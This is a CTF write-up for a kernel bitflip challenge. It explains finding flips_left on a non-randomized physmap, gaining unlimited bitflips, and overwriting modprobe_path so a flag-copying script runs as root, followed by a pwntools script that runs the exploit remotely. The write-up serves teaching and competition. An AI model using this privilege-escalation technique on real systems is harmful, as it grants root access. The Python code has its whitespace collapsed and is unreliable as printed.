That is the only modification that has been done to the kernel.
Knowing the location to flips_left, a player could achieve infinite bitflips.
The problem is that theoretically this should not be possible.
The challence circles arround the following
blogpost
by project zero. I recommend first reading this blogpost before continuing
reading this writeup. I could try to re-explain it but I probably cannot do it
better :) (and I am beyond fried)
After we know the physmap is not randomized, we can look for flips_left on
the physmap. The blogpost calculates it by hand, I brute-searched on the
debugger:
pwndbg> search -t qword 0xDEADBADC0DE00001
Searching for an 8-byte integer: b'\x01\x00\xe0\r\xdc\xba\xad\xde'
[pt_ffffff8002040] 0xffffff8002381dc0 0xdeadbadc0de00001
Even if KASLR is enabled, this pointer will stay the same. You can try by
yourself rebooting.
With our single flip, we can flip flips_left to achieve infinite bitflips.
Then, modprobe is writeable so we look for it on the physmap:
Again, that pointer will stay the same always. Not randomized.
Finally, with the obtained infinite bitflips, we overwrite modprobe with a
custom malicious script, which will get run as root. Nothing interesting
starting from here.
We create a script that copies /flag.txt into /tmp/flag.txt and does chmod 777 /tmp/flag.txt. We set the modprobe path to that script and trigger a
modprobe path. The kernel runs it as root and we can read our newly copied flag.
The final exploit.c would look like the following. A player just compiles,
copies and runs it on the remote.
tempdir=tempfile.TemporaryDirectory()port_instance=Nonedefparse_and_get_ssh(i):globalport_instancei.sendlineafter(b"Press [ENTER] to start the instance",b"")i.recvuntil(b"-----BEGIN OPENSSH PRIVATE KEY-----")key="-----BEGIN OPENSSH PRIVATE KEY-----"+ \
i.recvuntil(b"-----END OPENSSH PRIVATE KEY-----").decode()log.success(f"Got the key to connect:\n{key}")i.recvuntil(b"Connect with 'ssh -p")port_instance=i.recvline().decode().split()[0]# probably can be simplified with privkey as str on ssh()withopen(f'{tempdir.name}/key','w')asf:f.write(key)f.write('\n')os.chmod(f"{tempdir.name}/key",0o600)# This is helpful to debug manually via sshlog.success(f"Got the connection info: ssh -p{port_instance}" \
f" -i {tempdir.name}/key user@{host}")s=Nonewhiles==Noneornots.connected():try:s=ssh(timeout=5,user='user',host=host,port=int(port_instance),keyfile=f'{tempdir.name}/key',ignore_config=True)exceptException:s=Noneifs==Noneornots.connected():log.info("Challenge not ready yet, waiting...")sleep(5)returnsio=start()pass_pow(io)s=parse_and_get_ssh(io)s.upload(b"./exploit-c",b"/tmp/exploit")sh=s.shell('/bin/sh')sh.sendlineafter(b"$",b"chmod +x /tmp/exploit")sh.sendlineafter(b"$",b"/tmp/exploit")log.info("Waiting 5 seconds...")f=find_flag(sh.recvrepeat(5))sh.close()s.close()iffisnotNone:log.success(f)exit(0)else:# Remember to return nonzero if something failedexit(1)
Parsing the ssh info takes less than 40 lines if you do it properly (not as I
do). Pwntools has an SSH tube that accepts a key: str with the private
keyfile, a host and a port. This means a few good and old recvuntil.
An AI can probably generate that code. I didn’t try but I’m very confident it
can do it.
Or even better, on GlacierCTF 2024 I had the same setup, for which I published
a fully automated
script. One single
copy-paste of a python function and calling it gives you a pwntools tube
connection.
If one uses the kernel image to develop the exploit locally on its machine, it
can just be compiled and ran on the remote once.
The infrastructure was developed for
ksmaze, which was
a ncurses challenge. Having a simple socat -> qemu -> ncurses was a pain.
Interactive programs were kinda broken. We wanted it to be nicely interactive.
Plus I already use this setup personally for spawning test VMs locally.
For the PoW, we cannot get over it. We wanted to have one.